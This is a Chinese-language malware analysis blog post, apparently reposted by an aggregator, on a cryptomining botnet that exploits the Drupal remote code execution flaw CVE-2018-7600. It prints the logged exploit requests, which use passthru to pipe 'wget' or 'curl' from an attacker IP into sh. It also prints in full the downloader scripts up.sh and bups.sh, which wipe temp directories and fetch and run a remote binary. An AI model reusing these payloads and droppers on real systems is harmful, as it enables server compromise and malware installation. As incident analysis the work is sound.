Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

利用Drupal漏洞进行传播的挖矿僵尸病毒分析

$
0
0

*本文原创作者:cgf99,本文属于CodeSec原创奖励计划,未经许可禁止转载

一、事件背景

在对服务器进行例行性检查的时候,在一台ngix服务器的日志文件access.log里面发现了一些奇怪的访问记录,如下表所示。备注,这台Ngix 服务器安装windows10企业版操作系统,web服务器是nginx/1.12.2。

来源IP 时间 数据 85.248.227.163 16/Oct/2018:13:14:41 +0800 “POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1″ 301 185 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0″ 85.248.227.163 16/Oct/2018:13:14:41 +0800 “GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1″ 200 8517 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0″ 85.248.227.163 16/Oct/2018:13:14:43 +0800 “POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1″ 301 185 “-” “Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36″ 85.248.227.165 16/Oct/2018:13:14:47 +0800] “GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1″ 200 8517 “-” “Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36″

经过整理,发现上述web访问的命令其实就是下列两行,分别用GET和POST向目标网站进行请求访问。

https://mywebsite/?q=user/password&name [#post_render][]=passthru&name[#markup]=nohup wget O http://164.132.159.56/drupal/up.sh |sh 2>&1&name[#type]=markup https://mywebsite/?q=user/password&name [#post_render][]=passthru&name[#markup]=nohup curl http://164.132.159.56/drupal/up.sh |sh 2>&1&name[#type]=markup

乍一看,就是向服务器发送请求,利用web服务器上的一个漏洞,并要求服务器执行wget和curl命令去下载并执行up.sh脚本。可是我的服务器明明是windows操作系统,就算有漏洞触发了也不会执行该命令。因此,本次web攻击请求应该不是人工发出的(应该不会有这么蠢的黑客吧,也可能看web服务器是Ngix,就默认为类linux系统)。此外,通过网络搜索关键字,发现这段代码是Drupal远程代码执行漏洞(CVE-2018-7600)的利用方式。今年上半年,Drupal漏洞非常火爆,使得一拨又一拨的僵尸网络高潮迭起。由此可见,本次的web请求访问应该是僵尸病毒在自动化的扫描,利用Drupal漏洞进行攻击传播扩散。可是,这些病毒作者为什么就不能稍微花点功夫,先对目标网站软件环境进行判断,然后再实施下一步的实质攻击步骤呢?

尽管这次攻击没有对本地服务器产生任何危害。但是,既然不请自来,那就花点功夫研究一下吧。

1.下载脚本

直接访问 http://164.132.159.56/drupal/up.sh 下载up.sh,发现其内容如下:

#!/bin/sh

crontab-r;

id0="[[^$I$^]]"

id1="atnd"

ps -fe|grep -v grep | grep -q "`echo $id0`\|`echo $id1`"

if [ $?-ne 0 ];then

wget -O- http://164.132.159.56/drupal/bups.sh |sh ;curl http://164.132.159.56/drupal/bups.jpg |sh ;

else

echo"......."

fi

再次下载bups.sh和bups.jpg文件,其内容是一样的,具体内容如下:

#!/bin/sh id0="[[^$I$^]]"

id1="atnd"

id2="ooo"

ps -fe |grep -v grep | grep -q "`echo$id0`\|`echo $id1`"

if [ $? -ne 0 ];then if [ -x "/var/tmp/" ] &&[ -w "/var/tmp/" ];then

rm -rf /var/tmp/.*

rm -rf /var/tmp/*

wget -O /var/tmp/`echo $id1` http://164.132.159.56/drupal/2/ `echo $id2`

curl -o /var/tmp/`echo $id1` http://164.132.159.56/drupal/2/ `echo $id2`

chmod +x /var/tmp/`echo $id1`

chmod 777 /var/tmp/atnd

/var/tmp/`echo $id1` &

else

rm -rf /tmp/.*

rm -rf /tmp/*

wget -O /tmp/`echo $id1` http://164.132.159.56/drupal/2/ `echo $id2`

curl -o /tmp/`echo $id1` http://164.132.159.56/drupal/2/ `echo $id2`

chmod +x /tmp/`echo $id1`

chmod 777 /tmp/atnd

/tmp/`echo $id1` &

fi

else

echo "Running....."

fi

上面脚本很简单,就是下载恶意软件并运行的过程。脚本首先判断是否存在名叫id0和id1的进程(如果存在说明目标系统已被感染,恶意软件已运行中)。接着判断/var/tmp目录是否存在并可执行可写,如能是,则把恶意软件下载放在该目录下,否则就放在/tmp/目录下。木马下载路径是 http://164.132.159.56/drupal/2/ooo ,存放在本地的名字是id1,也就是”atnd”。此外,id0参数只是简单调用了一下,说明此轮感染操作应该不是第一波,在此前的病毒传播阶段,攻击者下载恶意软件后本地保存的文件名是id0,也就是”[[^$I$^]]”。

手动访问下载ooo,其属性如下表所示。

属性 值 大小 21176 MD5 7fdc31d7b9fafd2fbbb4da22b3cf56a2 SHA1 4e8bdca8d9a2eec23f17206af6e9f70daad29a25 2.构建环境

本地环境是Ubuntu16.04虚拟机。把ooo文件拷贝到虚拟机下/var/tmp/atnd,执行后,发现ubuntu系统退出登录,重新输入密码,一闪又回到登录界面。晕。

通过wireshark抓包,发现测试环境和80.240.26.52以及164.132.159.56两个IP发生如下的网络连接。

1.首先访问下载 http://164.132.159.56/drupal/lu.sh 文件,其内容如下。


利用Drupal漏洞进行传播的挖矿僵尸病毒分析

lu.sh执行后会区访问下载bups.sh和bups.jpg,这两个文件的内容上一段已经介绍。

2.下载 http://164.132.159.56/drupal/bups.sh

3.下载http:// 164.132.159.56/drupal/2/ooo

4.再次下载http:// 164.132.159.56/drupal/2/ooo

5.下载http:// 80.240.26.52/d/sss

6.下载http:// 80.240.26.52/d/lmmml

其中,步骤1-4下载的文件已经清晰,手动下载步骤5和步骤6的文件,下载后的文件信息如下表所示。

文件名 大小 MD5 SHA1 sss 16360 8a8ddce64e5dd6f5864da18d7899351c edb7aac788cb25a2f36bd71244843a9289a97d4e lmmml 719144 2e483fe7736634134b1b0d82828f2e53 583f5a66117f76a9dea389070ed0c8470e330e47 3.相关IP初步分析

1.攻击者来源IP

从Ngix日志提取的攻击者IP为85.248.227.163和85.248.227.165。

通过ip138查询,结果如下:

开放80和443端口,直接http方式访问,显示的页面如下图所示。咦,竟然是Tor节点,上面显示了服务器的性能。利用https访问,则没有显示页面。发现域名是Enn.lu。


利用Drupal漏洞进行传播的挖矿僵尸病毒分析

在本地pingenn.lu解析结果如下:

正在Ping enn.lu [176.10.250.105] 具有 32 字节的数据:

来自176.10.250.105 的回复: 字节=32 时间=310ms TTL=47

来自176.10.250.105 的回复: 字节=32 时间=308ms TTL=47

来自176.10.250.105 的回复: 字节=32 时间=309ms TTL=47

来自 176.10.250.105 的回复: 字节=32 时间=308ms TTL=47

IP地址不一样,而且直接访问enn.lu网站都是直接跳转到https访问方式,其首页界面如下图所示。


利用Drupal漏洞进行传播的挖矿僵尸病毒分析

Viewing all articles
Browse latest Browse all 12749

Trending Articles